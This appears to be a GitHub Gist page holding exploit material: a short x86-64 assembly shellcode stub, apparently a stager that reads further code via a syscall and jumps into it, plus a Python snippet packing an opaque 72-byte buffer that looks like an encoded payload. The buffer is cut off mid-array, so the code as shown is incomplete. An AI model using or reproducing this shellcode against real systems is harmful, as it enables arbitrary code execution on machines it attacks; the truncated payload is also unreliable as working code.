Skip to content

Instantly share code, notes, and snippets.

BITS 64
pop rdx
pop rdi
mov rsi, rbp
syscall
call rbp
; nasm shellcode.s -o shellcode && hd shellcode
import sys
import struct
buf = struct.pack ("72B",
0xb3,0x91,0x7f,0xdd,0x62,0x81,0x11,0x6a,0x90,0x8c,0xdb,
0xae,0x70,0xa7,0x3f,0xff,0x3a,0xc3,0xe6,0x32,0xff,0x5e,
0x46,0x63,0x9a,0x14,0xb7,0x9e,0xad,0xf6,0x09,0xdc,0x33,
0x2f,0x35,0xc6,0x6f,0x1a,0x7f,0xff,0x1b,0xc2,0xb5,0xb7,
0xb7,0xc2,0xd1,0x75,0xfa,0x10,0x0d,0xf8,0x50,0xc2,0xbe,
0x50,0x31,0x37,0x2f,0x68,0xfe,0x62,0x4a,0x39,0xd6,0xf3,